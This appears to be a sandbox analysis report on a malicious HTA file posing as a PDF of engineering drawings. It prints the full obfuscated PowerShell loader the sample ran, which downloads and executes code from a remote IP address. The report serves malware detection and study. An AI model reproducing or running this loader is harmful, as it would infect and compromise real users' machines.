Analysis
- max time kernel
150s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
24/06/2024, 06:37
General
- Target 22K9006S-BA-ISO-1001_D79 1065_8 C4 (002) EHT ISO drawings.pdf.hta
- Size 24KB
- Sample240624-hdggrszamd
- SHA256 fec5bb957bff39fc9d32793d5485483eb901a6a1356e6a25138ae1bb8089d7f7
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\22K9006S-BA-ISO-1001_D79 1065_8 C4 (002) EHT ISO drawings.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revaccinations upstart Bodsvelsens Metachemical nonsilver Salgschefens210 Idealized17 Flyverkommando Fabliau Messelite139';$Tinternell = 1;Function Stternisse($Nationalindkomstens){$Augmenterer=$Nationalindkomstens.Length-$Tinternell;$Forlise='SUBSTRIN';$Forlise+='G';For( $Nominalist=5;$Nominalist -lt $Augmenterer;$Nominalist+=6){$Revaccinations+=$Nationalindkomstens.$Forlise.Invoke( $Nominalist, $Tinternell);}$Revaccinations;}function Moskito($Skrankepavens){ &($Urfolkenes) ($Skrankepavens);}$Impulser=Stternisse 'Pul iMpseudoSemipz RyleiRuneslElma.lGelndaTalip/ Spon5Regul.Unint0De.ot time(PajerW JauniStorsn pyrodM lanoGenkewKlvnisProdu De.enNE,airTArbej Dios.1.unfu0Fyred.Inves0Bivir; Tach IdrbmWsam,eiBrandnHelhe6,elau4Jer,i;Ravnk Pa tixscha,6bribe4 Ma,e;Udryd CoercrTablevGloss:Forbr1St,mo2Ghive1Sappy.Laten0Nybyg)Parl. famleGVer aeDys,ecStttekScintoF.mil/Alfae2 ungl0E,ect1Ch,or0Suffi0Beteg1Rumfa0Anlae1Un al .ibyFBegreiRetnirAakane TrkafQuercoMorgexBorgh/D,llf1Tvivl2Trian1.ilie.Forsy0Takle ';$Nightcrawlers117=Stternisse 'FestrUyoungs,eloweFdselr Sank-BalanA AutogbogeyePan.rnP,lemtUdela ';$nonsilver=Stternisse 'ManurhKohattSirbut,oncep Tes :genet/ F,rs/Venes1 Cyto9L.del4Sklms. Fuel5 Uncl9Dryas.unrep3tasta1Pream.T,dss1Stipe8Telen7Isane/SiriaM .utoaMisvasNeu ot GrovoLithoiDevasdBrytheErosioBrikecP,eureTurjanMaleftSal,teIndfasRhizoi estsF.nut.Colorsvgav nPse dpGalva ';$Martinetism=Stternisse 'U.ive>Hymen ';$Urfolkenes=Stternisse 'Co loi SupeeOmgr xEqu.l ';$Uddatafelts='Flyverkommando';$Minasithil = Stternisse 'Unbeve KalicKlanehGrasso Kons Cen r%spaciaSpildp Dekoppar cdTi,byaBombet EneraKarto%Coppe\JargoLovermaVendim B.rgiBathoiAfhaadFakulePraoosEfte,.ForarF,ennee hosls Fore realt&Glane&som,t PrefiePhospcHaplohKaryooPheno Resb.t Indt ';Moskito (Stternisse 'Col u$FlyttgBo,hulDknavoO hambOpsgtaOpar.lOtobl: ,ontPcoveru.kabeeReverbLumbolMooseo prvei ybasAnti e Krog=Grn e(stenbcBarwamUn crdcon,u Infa/Unaw.cRecip Deliq$ Co tMKlippik meln Posta ProgsUdvisiMark t nonphUnderiInd.jl ata)Manc, ');Moskito (Stternisse 'Va df$Skiftg,eathlSeizuoYellpb Da,ya s nglNavne:ForgiMSejldeFdseltSunr aObvolcEtikehThomaeSto.fmi teri,ejsec Suc,aSkydelB.nvn=Dedic$Su.punsko koOvar.n U crsFidgeis,ttll YdervBack.eJann rPancr.UundvsSt ropEvocalOrdreiIranst Opta(Comp.$PilotMMomsnaVtte,rDe,latM.shriSup,rnGynepeNondet natuiOktobsD admmSvige) tann ');Moskito (Stternisse 'polit[ F rtNNonaleSidewt.alen.LinjeS Unste ,essr PolyvFededi ,vercLledee.ugsePStereoAar iiBeskanZorilt,ooknMUnobsaNivelnTommeaCrotog ,meregliffrStkys]Di.tc:Skarn:Dro eSMelane naboc StaluOmstnr EpeniSkurttBedemyUnrigP UnlarCacoeoWindlt,yudco Kirkc UdfooCav,ll .ami rnd=Reinf Sm,l[ phocNHo,ede TygetDemon.TympaSInsuleenrolc EconuX.logrmelonivael.tAmmonyNos,uPFormar ,rnioPentatC.riso FrydcSu,teoIn,galImparTmili,yT blopCaenoeAccid]Hresp:Tilgr:Ali tT OverlDeplosSei,e1,rein2 Trou ');$nonsilver=$Metachemical[0];$Filehugs= (Stternisse ' lobu$EpidogSjofelBendio AllobAnta.aRenselTapet: P.reDAiraeuRygninenfecdIntepe BlitrMorseh HaiteCarniaUnfixd Unfrsdaas,=MyoinN FlleeTapstw Unet-Ban aOJetstbEgo,rjCow eeMod.acHer itBlaah rbeS .vinyRae nsArvebtforbleRindemNeutr. BagsNU cryeBloodtPryta.M croW VideeDoktrbCome C OuzelS.lekiHobb,eHaandnTidsbt');$Filehugs+=$Puebloise[1];Moskito ($Filehugs);Moskito (Stternisse 'Scu d$BarveDFrednuEffe,nDiskedToitoe jlper EftehSo.mee Goura Wa idUn,ims.lagt.ScammHEffloeRespiaProjed .dskePaludr ingusSuffu[Hofl,$BrekrNPerkeiT,mmygSca.ihTroketMarkjcStvknrP,brea PorcwGenerlNonfeerektirfnik sko ke1Rodte1List.7Kakof]Nonsp=Indsm$RummeIAphr.mPiec.pform.uSalgslWa.kesPantoe.lminrGamme ');$kroketkuglerne=Stternisse 'Blgni$ eseDBil.iuTendenOve qd O.ereUnredrMa.tohRus.aeSv.teaRygstdVipersPloug.NglerD.oldboslutnw,ndfonSlrinlPartioN araa PfundBuf oFsmil iSka,tlEp kueHandp(Engil$TrksdnUnloboDigonn El ksHvidviTurrulOversvov,rseSha,arHeret,Gl,om$ HeadE,ilsvxLegitounderr.recubFore i nimt reelaRenssn OvertVelbelSkrapyPhleb)Tumef ';$Exorbitantly=$Puebloise[0];Moskito (Stternisse 'undta$,idragL,tmelS.rpeoAllotbLacusaLiftalDatas:NeglefTr.djaCawkyg AyasbJapanlWeigha.eliddAminas RdkakLuesslTox curevitb A.rjbLollie TentnAands= radr(SheikT LawyeDristsSrklat.evil-anskrPuncoga BalktGd.inhRyeb. M,cro$LysreEjordsx.anseoTu.ghrEnsetbStabliSus etBoileaHexa,nrobbetDi,pelCounty Doe,) Circ ');while (!$fagbladsklubben) {Moskito (Stternisse 'Impac$ RufigTilpal UdstoErantbKarbuaIam.elRe.ec: Hos.SFiberusilens RepapRealveSlau,n.ambod,olkeeKommurSt.tce rembtAfpil=Kra,s$SupertPersprPaaliuEnke.eS.ide ') ;Moskito $kroketkuglerne;Moskito (Stternisse 'KorteSMaddetc,eataKlassrphilotForsk-bl ekS erulA pareBut,ke HoejpClite Nonfl4Beton ');Moskito (Stternisse 'Murst$EldingProtolUntakoPetroblic.eaAfri.l.andb: MiddfFantaa,lowfgC,llobDogmalRetteaHackndJeepesJell,k,hytolGoldfuConsib EquibEbonieUnactnUba,m=Escap(BenzoTG,nereun.els B.uet Sym.-MolluPSpejla SammtArbo,hFe,ev Rigsa$UdskrEResvaxGra io Lkker Ud,ibF.rmgia,tentNykb a VisenLithot,ortalUncolyM,ljb)Divin ') ;Moskito (Stternisse ' St.u$.ntragMuddil Wor.o A tebIndlaaKabysl.elds:TidlnBZippeoBiok,dMa,nssWanghvBrande ,inilr tges F.emeCallinMudcasskibs=Oktae$OutspgDrostl remboUdsk,bIndl.a BarolOu sl:AdresuNaturpN repsOverltHaseraDegrer onttEfter+Tende+ Selv%unmo.$Co,deMAla.aeSymp.tNuntiaNursic tr ghObsceeMicromKunstiChivvc Kuriaven ilRolle.H.nsycOliefoE viluAsthenRund tSchwa ') ;$nonsilver=$Metachemical[$Bodsvelsens];}$Thiobacteriales=300055;$Samspilsproblem=29308;Moskito (Stternisse 'Roa,i$KlinigMe,erl Put.oNedkob HerraBemirl Arb,: MorpFUnshraBoli b,intelPsykeiUnriga GedeuReenu Spri=Bebre TelevG PeteeTarzatRelat-PesteCCamemoTypennIntertU.dereHorrinCytultDmoni Thiaz$.inifE VestxS,ibao Lo.prCelembVikiniNeolotSpe laLigronTheoctVindilGr.tuyPr.te ');Moskito (Stternisse 'Min,s$R.pubgAdverlSprjtoPseudb radraPhy ilCribd: GnavNVattea Syger WhiprImperet,rnenIroko Unnob=Medji Svrn[RockwSFoutryU stisSub,atMil eeOverfmT.tra.UnworCTrianoafbrknCodesvFritieEl enrFolactI tra],antu:Forhe:ga,biFO,igir F,afoDugenmSejp,BUnlocaRaflesOpnoreP,sek6Semiq4D,sseSredbutRea.lrMoraliSekten,amehgF.wne( esat$gekkoFTungeaEvocabFremsl eferi FlydafyllauOwlbe)Fatam ');Moskito (Stternisse 'Unr,s$PneumgMilselH reioRepa bNonvia FugllEk tr:VannePInfillHoloca Savss gyrot,amaooAn agmSel.ieIn.latMahatrPs,udiBere cBruge S,pe= alac Unsen[SubsiSF cifyCollasInstitSkol.eEndebmr gis. criT Re,ieReserxStrdetUrban.AcrogE Out nTroezcTub.loPandodL etiiMegacnlettegTaos ]Feltn:Alrun:.inarAB uskSCran CCarobI MarkIAfkli.GenerGSmaapeP.rcet ndevSFingetS.arpr IncoiOl etnBru,eg D,pl( C ed$AlbumNsnoutaReposrBlyinrKegleeTertin Skol)Sa,sk ');Moskito (Stternisse 'Togp.$ OleagResonl Had,oNonlybNonrhaNasutlHypos:Skat,SAf,igeLagerxAminiuGastraSnirklI,hthe Popu= Ca y$ BetlP HjlplJ,rdba istosLysbitTrollo LunamPropye Indet,agrerSpleniBrddecBumfs.SugarsAleb,uAnstobWiviasBoltrtBreasrbuff.iVandbn NonsgHerpe(Inter$IndopT SurshAntikiI.quio Co yb SpaaaUnrecc.verat Perie Culor Exsui Fe.eaPlumblmerfoeGlohesTri h,G,opo$ImporSRadi a Cinem LacusAnim pLivsfiOink lHalshsBundtpAnd ir Di.moBrugnb PotelSnappe E,ecmHjlpe)Surfa ');Moskito $Sexuale;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Lamiides.Fes && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_qrnelgpd.1st.ps1
memory/4632-18-0x00000000068F0000-0x000000000690E000-memory.dmp
memory/4632-19-0x0000000006930000-0x000000000697C000-memory.dmp
memory/4632-2-0x0000000005BE0000-0x0000000006208000-memory.dmp
memory/4632-0-0x0000000070DBE000-0x0000000070DBF000-memory.dmp
memory/4632-5-0x0000000005830000-0x0000000005852000-memory.dmp
memory/4632-7-0x0000000006280000-0x00000000062E6000-memory.dmp
memory/4632-6-0x0000000006210000-0x0000000006276000-memory.dmp
memory/4632-1-0x0000000002FF0000-0x0000000003026000-memory.dmp
memory/4632-3-0x0000000070DB0000-0x0000000071560000-memory.dmp
memory/4632-17-0x00000000063F0000-0x0000000006744000-memory.dmp
memory/4632-4-0x0000000070DB0000-0x0000000071560000-memory.dmp
memory/4632-20-0x0000000008070000-0x00000000086EA000-memory.dmp
memory/4632-21-0x0000000006E40000-0x0000000006E5A000-memory.dmp
memory/4632-22-0x0000000007BF0000-0x0000000007C86000-memory.dmp
memory/4632-23-0x0000000007920000-0x0000000007942000-memory.dmp
memory/4632-24-0x0000000008CA0000-0x0000000009244000-memory.dmp
memory/4632-26-0x0000000070DBE000-0x0000000070DBF000-memory.dmp
memory/4632-27-0x0000000070DB0000-0x0000000071560000-memory.dmp
memory/4632-28-0x0000000070DB0000-0x0000000071560000-memory.dmp